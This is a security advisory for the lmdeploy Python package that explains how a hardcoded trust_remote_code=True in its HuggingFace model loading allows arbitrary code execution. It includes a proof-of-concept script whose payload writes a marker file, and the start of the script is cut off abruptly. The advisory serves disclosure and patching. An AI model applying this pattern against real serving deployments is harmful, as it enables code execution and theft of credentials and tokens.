GHSA-m549-qq94-fvhg LMDeploy: Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization

• PyPI lmdeploy: < 0.13.0 → fixed in 0.13.0

Summary lmdeploy hardcodes `trust_remote_code=True` in multiple HuggingFace model-loading call sites. The affected code paths are in: ```text lmdeploy/archs.py lmdeploy/utils.py ```` The vulnerable call sites pass `trust_remote_code=True` into HuggingFace Transformers APIs such as `AutoConfig.from_pretrained()`, `PretrainedConfig.get_config_dict()`, and `GenerationConfig.from_pretrained()`. Because the model path is supplied by the operator or deployment configuration, an attacker who can control the `model_path` used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository. Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process. Affected version Confirmed affected: ```text lmdeploy None: """ Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded. Real vulnerable pattern: AutoConfig.from_pretrained(model_path, trust_remote_code=True) GenerationConfig.from_pretrained(path, trust_remote_code=True) When trust_remote_code=True, a malicious HuggingFace model repository can execute custom Python code during loading. """ fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_")) module_name = model_path.split("/")[-1].replace("-", "_") modeling_file = fake_model_dir / f"modeling_{module_name}.py" payload = f''' import os from pathlib import Path Path("{MARKER}").write_text( "lmdeploy trust_remote_code execution confirmed\\n" f"model_path={model_path!r}\\n" f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n" ) ''' modeling_file.write_text(payload) spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file) assert spec is not None and spec.loader is not None mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--model-id", default=MALICIOUS_MODEL) args = parser.parse_args() if MARKER.exists(): MARKER.unlink() print(f"[*] Simulating lmdeploy loading model: {args.model_id}") print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths") simulate_lmdeploy_model_load(args.model_id) if MARKER.exists(): print("[+] Code execution confirmed") print(MARKER.read_text()) return 0 print("[-] Marker file was not created", file=sys.stderr) return 1 if __name__ == "__main__": raise SystemExit(main()) ``` Expected result: ```text [+] Code execution confirmed ``` The marker file is written to: ```text /tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF ``` Impact An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization. The attacker may be able to: • Read files accessible to the lmdeploy process. • Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys. • Modify model-serving behavior or tamper with responses. • Execute arbitrary operating-system commands. • Access request data or internal service credentials available to the serving process. • Cause denial of service by crashing or destabilizing the serving daemon. • Pivot to internal services reachable from the lmdeploy host or container.